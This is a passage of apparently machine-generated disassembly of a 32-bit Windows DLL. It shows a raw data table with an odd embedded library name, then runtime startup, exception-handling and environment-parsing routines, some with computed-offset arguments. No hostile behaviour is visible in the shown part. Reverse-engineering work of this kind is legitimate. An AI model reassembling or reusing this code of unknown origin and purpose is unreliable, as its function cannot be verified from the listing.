		dd 0BD32B732h, 0C732C232h, 0D932D332h, 0E332DE32h, 0F532EF32h
		dd 0FF32FA32h, 11330B32h, 1B331633h, 2D332733h,	37333233h
		dd 49334333h, 53334E33h, 65335F33h, 6F336A33h, 81337B33h
		dd 8B338633h, 9D339733h, 0A733A233h, 0B933B333h, 0C333BE33h
		dd 0D533CF33h, 0DF33DA33h, 0F133EB33h, 0FB33F633h, 0D340733h
		dd 17341234h, 29342334h, 33342E34h, 45343F34h, 4F344A34h
		dd 61345B34h, 6B346634h, 7D347734h, 87348234h, 99349334h
		dd 0A3349E34h, 0B534AF34h, 0BF34BA34h, 0D134CB34h, 0DB34D634h
		dd 0ED34E734h, 0F734F234h, 9350334h, 13350E35h,	25351F35h
		dd 2F352A35h, 41353B35h, 4B354635h, 5D355735h, 67356235h
		dd 79357335h, 83357E35h, 95358F35h, 9F359A35h, 0B735B135h
		dd 0D535BC35h, 0E735DB35h, 0C35F035h, 25361336h, 51362B36h
		dd 80367536h, 0BF36B936h, 4336FA36h, 64374937h,	0A837A037h
		dd 0C237BC37h, 0EC37E537h, 7380137h, 23381A38h,	6B383D38h
		dd 0A1389B38h, 0C038AD38h, 0E738D338h, 138FB38h, 13390639h
		dd 1E391939h, 31392B39h, 43393639h, 4E394939h, 8E398639h
		dd 9A399439h, 0C239AD39h, 0D639CF39h, 0D39FA39h, 673A323Ah
		dd 0B13AAA3Ah, 0E03AC73Ah, 0D3AE63Ah, 383B133Bh, 993B3E3Bh
		dd 0A3BF33Bh, 2E3C173Ch, 583C413Ch, 883C823Ch, 0ED3CBC3Ch
		dd 2E3D243Ch, 793D4E3Dh, 923D7F3Dh, 0D83DCE3Dh,	653E143Dh
		dd 733E6D3Eh, 873E803Eh, 9A3E943Eh, 0B63EA83Eh,	0CD3EBD3Eh
		dd 0ED3EDB3Eh, 23EF43Eh, 183F0E3Fh, 2A3F233Fh, 643F353Fh
		dd 7A3F6B3Fh, 0A93F8C3Fh, 0C63FB23Fh, 3FD33Fh, 400000h
		dd 1F000h, 2F302900h, 0A9309E30h, 0CA30C430h, 0FE30F630h
		dd 61315530h, 76317031h, 0C3317D31h, 0EF31E931h, 26320731h
		dd 33322E32h, 3E323932h, 56324532h, 77325D32h, 93328C32h
		dd 0B2329B32h, 0C832BE32h, 0D532CE32h, 0E432DD32h, 932EA32h
		dd 31331E33h, 57334133h, 86337A33h, 0B1339533h,	0CE33C333h
		dd 0E033DB33h, 0F633E933h, 33FB33h, 12340C34h, 1C341734h
		dd 2E342834h, 38343334h, 4A344434h, 54344F34h, 66346034h
		dd 70346B34h, 85347F34h, 98348A34h, 0C234B534h,	0D034C734h
		dd 0E234DD34h, 0F334E734h, 0FE34F934h, 12350334h, 1D351835h
		dd 4E353435h, 80356235h, 90358A35h, 0A3359735h,	0B735AA35h
		dd 0CD35C735h, 635F235h, 39363036h, 4F364536h, 62365536h
		dd 6F366936h, 8A368336h, 0B4369536h, 0DA36D436h, 0FE36EB36h
		dd 17370A36h, 2F372037h, 46373B37h, 62375237h, 80376C37h
		dd 95378F37h, 0B437AD37h, 0DC37C137h, 437E237h,	32381038h
		dd 46383C38h, 64384C38h, 94386B38h, 0AA389D38h,	0BB38B438h
		dd 0CF38C238h, 0E038DA38h, 0F738F138h, 37393238h, 48394239h
		dd 9B396239h, 0BF39AC39h, 0D839D339h, 0F539EB39h, 1739FB39h
		dd 3D3A2D3Ah, 543A4D3Ah, 643A5D3Ah, 853A703Ah, 0A33A8D3Ah
		dd 0C53ABA3Ah, 0E63ACC3Ah, 0FF3AF93Ah, 1C3B103Ah, 4A3B2E3Bh
		dd 5B3B553Bh, 0A73B923Bh, 0C43BBD3Bh, 0E63BD13Bh, 0FB3BF23Bh
		dd 0B3C053Bh, 2E3C213Ch, 433C3A3Ch, 553C4C3Ch
		dd 773C663Ch, 903C7D3Ch, 0ED3CD03Ch, 3E3D2A3Ch,	0C23D5B3Dh
		dd 0D93DC93Dh, 0F33DE03Dh, 63DF93Dh, 253E0D3Eh,	593E4C3Eh
		dd 0A53E5E3Eh, 0B83EAB3Eh, 0DF3EBE3Eh, 93EF83Eh, 373F213Fh
		dd 993F933Fh, 0B63FAF3Fh, 0DC3FCE3Fh, 0FB3FE33Fh, 50003Fh
		dd 21800h, 1F300900h, 41302E30h, 4D304630h, 97308730h
		dd 0AF30A130h, 0C730B830h, 0DC30D130h, 0FB30EE30h, 1A310730h
		dd 2E312131h, 40313731h, 55314A31h, 68315E31h, 0B3316D31h
		dd 0BE31B931h, 0D531C831h, 0E331DA31h, 0F531F031h, 631FA31h
		dd 11320C32h, 22321632h, 2D322832h, 3E323232h, 49324432h
		dd 5D324E32h, 68326332h, 7D327032h, 8B328232h, 9D329832h
		dd 0AF32A232h, 0BA32B532h, 0F732EE32h, 1B330932h, 3D332833h
		dd 5A335133h, 95336833h, 0B133A733h, 0DD33B733h, 0F633E433h
		dd 22341733h, 50344334h, 64345E34h, 75347034h, 99347B34h
		dd 0B934A034h, 0D934C034h, 1334E034h, 21351B35h, 32352735h
		dd 60353935h, 6D356735h, 0A1357235h, 0B035AA35h, 0C435BB35h
		dd 0D835CB35h, 135DE35h, 36360E36h, 53363C36h, 6F366936h
		dd 95368E36h, 0F636AD36h, 1A36FC36h, 37373037h,	8B378237h
		dd 0E437A037h, 0FF37F837h, 24381837h, 53383D38h, 79385F38h
		dd 0B638AF38h, 0E138D638h, 0F438ED38h, 47391038h, 70396239h
		dd 88398239h, 0B539A539h, 0CD39BE39h, 0EE39DB39h, 1439F939h
		dd 253A1E3Ah, 4E3A313Ah, 6E3A5A3Ah, 8F3A753Ah, 0BD3A9D3Ah
		dd 0D33ACC3Ah, 0F73AE93Ah, 173AFC3Ah, 283B223Bh, 483B3F3Bh
		dd 673B573Bh, 8B3B733Bh, 9C3B963Bh, 0AF3BA93Bh,	0C33BB63Bh
		dd 233BE73Bh, 0D13C9B3Ch, 0E63CD83Ch, 0FA3CED3Ch, 0E3D083Ch
		dd 2A3D213Dh, 3B3D353Dh, 523D4B3Dh, 693D633Dh, 7E3D783Dh
		dd 993D893Dh, 0B03DA73Dh, 0C83DB93Dh, 0DD3DCE3Dh, 0F03DE33Dh
		dd 43DF63Dh, 1D3E103Eh,	363E2A3Eh, 4D3E413Eh, 663E563Eh
		dd 763E6F3Eh, 813E7C3Eh, 0A63E9D3Eh, 0B53EAD3Eh, 0C23EBA3Eh
		dd 0D83ECE3Eh, 0F23EE63Eh, 0D3F073Eh, 253F143Fh, 3C3F2D3Fh
		dd 523F4C3Fh, 6C3F653Fh, 973F883Fh, 0AF3F9E3Fh,	0BF3FB63Fh
		dd 0D03FC63Fh, 0E83FD63Fh, 0FF3FF03Fh, 60003Fh,	1C000h
		dd 19300C00h, 39303330h, 4B303F30h, 71306A30h, 0AE308630h
		dd 0C030B430h, 0E430D630h, 0FC30F630h, 11310830h, 53312E31h
		dd 76316031h, 9D318331h, 0C331A431h, 0E931CE31h, 631FF31h
		dd 26321A32h, 3A322B32h, 71324C32h, 0B5327D32h,	0E932D132h
		dd 732EF32h, 25330D33h,	43332B33h, 73336D33h, 90338A33h
		dd 0A3339A33h, 0B233A833h, 0C033B733h, 0E133CB33h, 0FD33F133h
		dd 19340433h, 43342D34h, 78346634h, 9B349434h, 0C834AD34h
		dd 0FE34DA34h, 28350434h, 40352E35h, 60355A35h,	8E357235h
		dd 0A7359535h, 0DB35D235h, 335E235h, 43361E36h,	5C365536h
		dd 74366436h, 0BB368F36h, 0E036D536h, 0F736E636h, 136FC36h
		dd 10370A37h, 2B371737h, 44373837h, 5F374B37h, 98376637h
		dd 0AD37A737h, 0D537C137h, 0EB37DC37h, 1137FD37h, 6B382138h
		dd 9C387D38h, 0B638A538h, 0C838BC38h, 0F838D438h, 1C390938h
		dd 35393039h, 5D394839h, 83397339h, 0AF39A839h,	0EA39CC39h
		dd 3139F039h, 543A373Ah, 0BC3A5C3Ah, 3AC43Ah, 273B063Bh
		dd 513B403Bh, 803B573Bh, 0D73BC93Bh, 0A3BE83Bh,	223C163Ch
		dd 7D3C6C3Ch, 0A33C8F3Ch, 0BE3CAA3Ch, 0D63CD03Ch, 0FC3CEA3Ch
		dd 173D033Ch, 313D2B3Dh, 4E3D473Dh, 683D623Dh, 883D7E3Dh
		dd 0B23D9E3Dh, 0CF3DB93Dh, 0EA3DD83Dh, 103DF03Dh, 373E183Eh
		dd 473E3E3Eh, 5B3E4D3Eh, 7D3E623Eh, 0A33E843Eh,	0BB3EB13Eh
		dd 0CF3EC73Eh, 0F03EEA3Eh, 143EF73Eh, 323F1A3Fh, 493F413Fh
		dd 6A3F513Fh, 7C3F733Fh, 0AD3F853Fh, 0C63FB23Fh, 0FA3FDE3Fh
		dd 70003Fh, 25000h, 39302300h, 52303F30h, 65305A30h, 0A8309D30h
		dd 0DC30C430h, 0F530EF30h, 0D310430h, 2E312731h, 5C314031h
		dd 74316331h, 0AF318431h, 0CD31B631h, 0F131D331h, 131F731h
		dd 1C320C32h, 4E324732h, 6E325432h, 80327932h, 0AB328E32h
		dd 0CA32B332h, 0D932D332h, 0EB32E432h, 432FB32h, 12330B33h
		dd 22331B33h, 3E333933h, 6D334E33h, 80337933h, 0A1339433h
		dd 0B533A833h, 0D533BC33h, 0E533DB33h, 233FD33h, 2B341134h
		dd 64344334h, 94346934h, 0AA349A34h, 0BB34B434h, 0DE34D834h
		dd 0FF34E834h, 13350834h, 29352335h, 38353235h,	47354135h
		dd 5A355035h, 76357135h, 0B1358635h, 0C335B735h, 0D435CA35h
		dd 0E835DE35h, 0B35EE35h, 1B361136h, 38363336h,	76364836h
		dd 89367C36h, 99369236h, 0A936A236h, 0CE36C836h, 0F036D836h
		dd 0FD36F736h, 2C371136h, 41373A37h, 66376037h,	7E376B37h
		dd 0A2379137h, 0C537A837h, 0E037CB37h, 37F037h,	31382B38h
		dd 42383C38h, 57384D38h, 91387938h, 0B5389638h,	0C038BB38h
		dd 0FB38D038h, 13390238h, 3F391E39h, 52394639h,	6E396939h
		dd 0AC397E39h, 0B939B339h, 0D139C439h, 0E339DD39h, 0F939ED39h
		dd 203A1639h, 563A383Ah, 783A5C3Ah, 8B3A7E3Ah, 0A63A903Ah
		dd 0C83AAC3Ah, 0DB3ACE3Ah, 0F63AE03Ah, 183AFC3Ah, 2B3B1E3Bh
		dd 463B303Bh, 683B4C3Bh, 7B3B6E3Bh, 963B803Bh, 0B03B9C3Bh
		dd 0C33BB63Bh, 0D23BC93Bh, 0DF3BD93Bh, 13BE43Bh, 693C5B3Ch
		dd 793C6F3Ch, 923C863Ch, 0AC3C9C3Ch, 0D63CBC3Ch, 0EE3CE73Ch
		dd 93CFE3Ch, 283D0F3Dh,	493D3C3Dh, 593D4F3Dh, 683D613Dh
		dd 893D793Dh, 0A83D993Dh, 0BD3DB73Dh, 0CF3DC83Dh, 0E63DE13Dh
		dd 83DF63Dh, 193E0E3Eh,	303E233Eh, 533E453Eh, 733E583Eh
		dd 8C3E7E3Eh, 9A3E923Eh, 0A93EA33Eh, 0C13EB53Eh, 0D23EC73Eh
		dd 0DD3ED73Eh, 0F03EE93Eh, 143F0A3Eh, 243F1B3Fh, 4F3F343Fh
		dd 5A3F553Fh, 713F643Fh, 7F3F763Fh, 913F8C3Fh, 0A23F963Fh
		dd 0AD3FA83Fh, 0BE3FB23Fh, 0C93FC43Fh, 0DA3FCE3Fh, 0E53FE03Fh
		dd 0F63FEA3Fh, 3FFC3Fh,	800000h, 1FC00h, 6300100h, 18301230h
		dd 22301D30h, 34302E30h, 3E303930h, 50304A30h, 5A305530h
		dd 6C306630h, 76307130h, 88308230h, 92308D30h, 0A4309E30h
		dd 0AE30A930h, 0C030BA30h, 0CA30C530h, 0DC30D630h, 0E630E130h
		dd 0F830F230h, 230FD30h, 17311131h, 4B311C31h, 63315B31h
		dd 0BB31AD31h, 0D931C831h, 0EE31E631h, 21321331h, 31322632h
		dd 64325F32h, 8B327D32h, 0A5329E32h, 0C432B632h, 0D632C932h
		dd 0F532E532h, 48332F32h, 69335E33h, 76337033h,	0C533A533h
		dd 0E933D633h, 933FE33h, 28341034h, 3A343434h, 4C344734h
		dd 66345F34h, 83347634h, 99349234h, 534D034h, 27351F35h
		dd 67355635h, 82357B35h, 0AA359235h, 0C235B035h, 0D235CB35h
		dd 0F435D935h, 10360535h, 46362336h, 5D364D36h,	93367136h
		dd 0B636B036h, 0FA36C336h, 1E371736h, 42373B37h, 73375A37h
		dd 81377B37h, 91378737h, 0C337AD37h, 0D937D337h, 37DE37h
		dd 23381A38h, 34382E38h, 48383D38h, 75384E38h, 81387A38h
		dd 0C438BF38h, 0DF38D738h, 2338E538h, 48394239h, 78396239h
		dd 8F397F39h, 0B5399539h, 0D139C639h, 3339E039h, 623A4C3Ah
		dd 813A683Ah, 9D3A973Ah, 0B93AA83Ah, 0DA3AC13Ah, 0ED3AE73Ah
		dd 43AFA3Ah, 343B2E3Bh,	483B3B3Bh, 6C3B4E3Bh, 953B8F3Bh
		dd 0A03B9A3Bh, 0B53BAE3Bh, 0C73BC13Bh, 0EA3BD63Bh, 0FA3BF03Bh
		dd 213C0D3Bh, 4A3C443Ch, 5D3C4F3Ch, 753C693Ch, 8A3C7B3Ch
		dd 0A43C9E3Ch, 0C13CAE3Ch, 0F83CD53Ch, 53CFE3Ch, 193D133Dh
		dd 4C3D3A3Dh, 9F3D523Dh, 193DA53Dh, 5C3E503Eh, 713E613Eh
		dd 913E7D3Eh, 0B53E963Eh, 0CF3EBB3Eh, 0DF3ED53Eh, 63EF23Eh
		dd 203F1A3Fh, 463F2D3Fh, 603F4C3Fh, 6D3F663Fh, 0A53F8A3Fh
		dd 0C13FAB3Fh, 0E23FDC3Fh, 3FF53Fh, 900000h, 1D000h, 16301000h
		dd 44302930h, 54304A30h, 9F309230h, 0DB30C730h,	0F530EF30h
		dd 43310B30h, 61314931h, 86317731h, 96318D31h, 0A5319D31h
		dd 0BF31B831h, 0E331D131h, 42323931h, 84327D32h, 0D332AD32h
		dd 0E632D932h, 0FC32F532h, 32330C32h, 47334033h, 71335933h
		dd 94338433h, 0AC339A33h, 0C133B233h, 0E733D733h, 33F933h
		dd 2C341A34h, 40343834h, 5B345534h, 9E346134h, 0BB34B534h
		dd 0DB34CD34h, 634FF34h, 35352235h, 52353E35h, 78356A35h
		dd 0A1358035h, 0E735D535h, 0F835F235h, 0F360435h, 1F361736h
		dd 33362536h, 63365A36h, 7C367636h, 0A5369E36h,	0DD36C336h
		dd 0F136E236h, 1536F936h, 33372437h, 48374337h,	78375737h
		dd 0A0378337h, 0C137A637h, 0D537C637h, 8380237h, 27381838h
		dd 4C383538h, 66385838h, 8E388038h, 0B0389738h,	0EC38D038h
		dd 12390B38h, 48394239h, 8A398339h, 9F399839h, 0C739B439h
		dd 0ED39DA39h, 539FC39h, 413A253Ah, 5F3A553Ah, 8E3A653Ah
		dd 0B53AAF3Ah, 0CB3AC53Ah, 0DD3AD83Ah, 143AE93Ah, 463B313Bh
		dd 5D3B503Bh, 773B623Bh, 0B13B853Bh, 0D53BC23Bh, 0EE3BE93Bh
		dd 0B3C013Bh, 1E3C113Ch, 3A3C243Ch, 523C463Ch, 763C683Ch
		dd 913C843Ch, 9C3C963Ch, 0B83CAC3Ch, 0DD3CBF3Ch, 0FD3CE43Ch
		dd 1D3D043Ch, 4D3D243Dh, 5F3D5A3Dh, 753D683Dh, 803D7A3Dh
		dd 953D883Dh, 0A03D9B3Dh, 0D03DBF3Dh, 0F73DE33Dh, 0F3DFC3Dh
		dd 1F3E193Eh, 403E2C3Eh, 773E6A3Eh, 9C3E7C3Eh, 0C53EA33Eh
		dd 0D53ECE3Eh, 0E03EDB3Eh, 0FF3EF93Eh, 273F1C3Eh, 6F3F653Fh
		dd 823F7C3Fh, 0B43F943Fh, 0E83FCA3Fh, 0A0003Fh,	10800h
		dd 52303300h, 65305B30h, 86307F30h, 1F30BA30h, 59312631h
		dd 6F316031h, 83317531h, 95318E31h, 0B9327F31h,	0E132CD32h
		dd 0F532E732h, 0D933B332h, 18341033h, 67346034h, 7E347734h
		dd 98349134h, 0B834A934h, 0D034BE34h, 0E634D634h, 81356034h
		dd 0D8358835h, 62365C35h, 0CD36A736h, 3B372E36h, 6E374037h
		dd 83377D37h, 0A3378D37h, 0F737D437h, 1537FD37h, 31382A38h
		dd 7A384B38h, 87388138h, 0BE38B438h, 2238CE38h,	42392939h
		dd 5B395539h, 74396E39h, 0A0399339h, 0D139BB39h, 193A0E39h
		dd 8C3A863Ah, 0A83A9A3Ah, 0C93AC23Ah, 0E13ADB3Ah, 0F53AEF3Ah
		dd 2C3B1A3Ah, 4E3B3B3Bh, 7A3B713Bh, 0E03B8A3Bh,	173C103Bh
		dd 903C5D3Ch, 0A3C973Ch, 2A3D103Dh, 583D313Dh, 773D5E3Dh
		dd 983D7D3Dh, 0B53DAF3Dh, 0DD3DD13Dh, 4F3DE33Dh, 8F3E563Eh
		dd 283F1E3Eh, 3A3F343Fh, 4C3F463Fh, 3F993Fh, 0B00000h
		dd 0C800h, 55304100h, 6A306430h, 8D307C30h, 0A9309430h
		dd 0C830C130h, 0F030DC30h, 46313130h, 5F314E31h, 71316631h
		dd 9A317831h, 0B531A031h, 0DE31CD31h, 0FE31E531h, 18320531h
		dd 38321F32h, 61324A32h, 9C326732h, 0B832B232h,	0D032CA32h
		dd 0DF32D932h, 1E330E32h, 57333E33h, 77335D33h,	94337E33h
		dd 0AA33A333h, 0E333C233h, 0F833EF33h, 17340A33h, 33342A34h
		dd 5F345334h, 8F347834h, 0BE34A834h, 0D734C834h, 0F334DD34h
		dd 12350034h, 3C351935h, 82356835h, 9C359135h, 0C035B635h
		dd 235E335h, 96362036h,	0A6369E36h, 0AF36AE36h,	0BE3EB63Eh
		dd 0BA3EC63Eh, 0D23FC63Fh, 0EA3FDE3Fh, 3FF63Fh,	0C00000h
		dd 1400h, 0E300200h, 26301A30h,	303230h, 1300000h, 4400h
		dd 0BC300000h, 58335432h, 60335C33h, 68336433h,	74336C33h
		dd 7C337833h, 84338033h, 8C338833h, 98339033h, 0A0339C33h
		dd 0A833A433h, 0B033AC33h, 0B833B433h, 0C037BC37h, 37C437h
		dd 1500000h, 2000h, 98319400h, 0AC319C31h, 0B431B031h
		dd 0BC31B831h, 0C431C031h, 31C831h, 5Fh	dup(0)
		dd 7587C100h, 46h, 1802800h, 3 dup(100h), 1803400h, 1803800h
		dd 1803C00h, 716B6B00h,	2E5F7876h, 6C6C64h, 983E00h, 1804000h
		dd 0
		dd 694C5F00h, 69614D62h, 30406Eh, 90h dup(0)
		dd 7587C100h, 46h, 1802800h, 3 dup(100h), 1803400h, 1803800h
		dd 1803C00h, 716B6B00h,	2E5F7876h, 6C6C64h, 983E00h, 1804000h
		dd 0
		dd 694C5F00h, 69614D62h, 30406Eh, 4448h	dup(0)
_data		ends

; ---------------------------------------------------------------------------
; Section 4. (virtual address 00038000)
; Virtual size			: 0000B03C (  45116.)
; Section size in file		: 0000B03C (  45116.)
; Offset to raw	data for section: 00038000
; Flags	60000020: Text Executable Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 438000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_438006:				; DATA XREF: sub_438026+Ao
		xor	eax, eax
		inc	eax
		mov	ecx, [esp+4]
		test	dword ptr [ecx+4], 6
		jz	short locret_438025
		mov	eax, [esp+8]
		mov	edx, [esp+10h]
		mov	[edx], eax
		mov	eax, 3

locret_438025:				; CODE XREF: .text:00438014j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_438026	proc near		; CODE XREF: .text:0043814Ep
					; .text:0043817Cp

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset loc_438006
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_438043:				; CODE XREF: sub_438026+44j
					; sub_438026+4Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_438072
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_438072
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	ecx, [esp+1Ch+var_14]
		mov	ecx, [eax+0Ch]
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_438043
		call	dword ptr [ebx+esi*4+8]
		jmp	short loc_438043
; ---------------------------------------------------------------------------


loc_438072:				; CODE XREF: sub_438026+2Aj
					; sub_438026+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_438026	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_438080	proc near		; CODE XREF: .text:00438141p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_438098
		push	[ebp+arg_0]
		call	sub_442FD0


loc_438098:				; DATA XREF: sub_438080+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_438080	endp

; ---------------------------------------------------------------------------
		cld
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, [ebp+0Ch]
		mov	eax, [ebp+8]
		test	dword ptr [eax+4], 6
		jnz	loc_438175
		mov	[ebp-8], eax
		mov	eax, [ebp+10h]
		mov	[ebp-4], eax
		lea	eax, [ebp-8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_4380D3:				; CODE XREF: .text:0043816Cj
		cmp	esi, 0FFFFFFFFh
		jz	loc_438184
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_438163
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		mov	eax, [ebp-14h]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	dword_44A034, eax
		mov	edx, [ebp-14h]
		mov	eax, [edx]
		mov	dword_44A038, eax
		mov	eax, [edx+4]
		mov	dword_44A03C, eax
		push	esi
		push	edi
		push	ecx
		mov	ecx, 14h
		lea	edi, dword_44A040
		mov	esi, dword_44A038
		rep movsd
		lea	edi, dword_44A040
		mov	dword_44A038, edi
		pop	ecx
		pop	edi
		pop	esi
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+0Ch]
		or	eax, eax
		jz	short loc_438163
		js	short loc_438171
		mov	edi, [ebx+8]
		push	ebx
		call	sub_438080
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_438026
		add	esp, 8
		lea	ecx, [esi+esi*2]
		mov	eax, [edi+ecx*4]
		mov	eax, [ebx+0Ch]
		call	dword ptr [edi+ecx*4+8]


loc_438163:				; CODE XREF: .text:004380E4j
					; .text:00438139j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	loc_4380D3
; ---------------------------------------------------------------------------


loc_438171:				; CODE XREF: .text:0043813Bj
		xor	eax, eax
		jmp	short loc_43818E
; ---------------------------------------------------------------------------


loc_438175:				; CODE XREF: .text:004380B8j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_438026
		add	esp, 0Ch


loc_438184:				; CODE XREF: .text:004380D6j
		push	0Bh
		call	sub_443018
		add	esp, 4


loc_43818E:				; CODE XREF: .text:00438173j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cmp	dword ptr [ebp+0Ch], 1
		jnz	short loc_4381A7
		call	sub_4381C3


loc_4381A7:				; CODE XREF: .text:004381A0j
		call	sub_442F5B
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		mov	eax, off_44A000
		call	eax ; sub_442F30
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4381C3	proc near		; CODE XREF: .text:004381A2p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		push	0
		push	0FFFFFFF6h
		call	sub_442FE8
		mov	[ebp+var_8], eax
		push	0
		push	0FFFFFFF5h
		call	sub_442FE8
		mov	[ebp+var_4], eax
		push	0
		push	0FFFFFFF4h
		call	sub_442FE8
		mov	[ebp+var_C], eax
		push	(offset	aWr+2)
		push	[ebp+var_8]
		call	sub_442FDC
		mov	dword_44A008, eax
		push	offset aWr	; "wr"
		push	[ebp+var_4]
		call	sub_442FDC
		mov	dword_44A004, eax
		push	offset aWr	; "wr"
		push	[ebp+var_C]
		call	sub_442FDC
		add	esp, 30h
		mov	dword_44A00C, eax
		mov	edi, dword_44A004
		or	edi, edi
		jz	short loc_43823C
		push	0
		push	edi
		call	sub_443024
		add	esp, 8


loc_43823C:				; CODE XREF: sub_4381C3+6Cj
		mov	edi, dword_44A00C
		or	edi, edi
		jz	short loc_438256
		push	0
		push	edi
		call	sub_443024
		add	esp, 8
		call	sub_43825C


loc_438256:				; CODE XREF: sub_4381C3+81j
		pop	edi
		leave
		retn
sub_4381C3	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43825C	proc near		; CODE XREF: sub_4381C3+8Ep

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], 0
		call	sub_442FC4
		mov	ebx, eax
		mov	[ebp+var_10], ebx
		jmp	short loc_438294
; ---------------------------------------------------------------------------


loc_438278:				; CODE XREF: sub_43825C+3Bj
		cmp	byte ptr [ebx],	3Dh
		jz	short loc_438280
		inc	[ebp+var_C]


loc_438280:				; CODE XREF: sub_43825C+1Fj
		mov	edi, ebx
		xor	eax, eax
		stc
		sbb	ecx, ecx
		repne scasb
		neg	ecx
		lea	eax, [ecx-2]
		mov	edi, eax
		inc	edi
		lea	ebx, [ebx+edi]


loc_438294:				; CODE XREF: sub_43825C+1Aj
		cmp	byte ptr [ebx],	0
		jnz	short loc_438278
		mov	edi, [ebp+var_C]
		inc	edi
		lea	edi, ds:0[edi*4]
		mov	[ebp+var_14], edi
		push	[ebp+var_14]
		call	sub_44300C
		pop	ecx
		mov	[ebp+var_8], eax
		mov	dword_44A010, eax
		cmp	[ebp+var_8], 0
		jnz	short loc_4382C2
		xor	eax, eax
		jmp	short loc_43831F
; ---------------------------------------------------------------------------


loc_4382C2:				; CODE XREF: sub_43825C+60j
		mov	ebx, [ebp+var_10]
		jmp	short loc_43830C
; ---------------------------------------------------------------------------


loc_4382C7:				; CODE XREF: sub_43825C+B3j
		mov	edi, ebx
		xor	eax, eax
		stc
		sbb	ecx, ecx
		repne scasb
		neg	ecx
		lea	eax, [ecx-2]
		mov	edi, eax
		inc	edi
		mov	[ebp+var_4], edi
		cmp	byte ptr [ebx],	3Dh
		jz	short loc_438306
		push	[ebp+var_4]
		call	sub_44300C
		pop	ecx
		mov	esi, [ebp+var_8]
		mov	[esi], eax
		or	eax, eax
		jnz	short loc_4382F4
		jmp	short loc_43831F
; ---------------------------------------------------------------------------


loc_4382F4:				; CODE XREF: sub_43825C+94j
		push	ebx
		mov	edi, [ebp+var_8]
		push	dword ptr [edi]
		call	sub_443030
		add	esp, 8
		add	[ebp+var_8], 4


loc_438306:				; CODE XREF: sub_43825C+82j
		mov	edx, [ebp+var_4]
		lea	ebx, [ebx+edx]


loc_43830C:				; CODE XREF: sub_43825C+69j
		cmp	byte ptr [ebx],	0
		jnz	short loc_4382C7
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx], 0
		mov	eax, 1


loc_43831F:				; CODE XREF: sub_43825C+64j
					; sub_43825C+96j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43825C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_438324	proc near		; CODE XREF: sub_43C2C0+C1p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	8000h
		movsx	eax, word_44A1F0
		add	eax, dword_44A284
		sub	eax, 0Ch
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_448634	; VirtualFree
		pop	ebp
		retn
sub_438324	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_438348	proc near		; CODE XREF: sub_43AF47+1A4p
					; sub_43AF47+259p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		movsx	eax, word_44A1FC
		add	eax, dword_44A108
		sub	eax, 0Bh
		mov	[ebp+var_8], eax
		mov	[ebp+var_C], eax
		mov	esi, eax
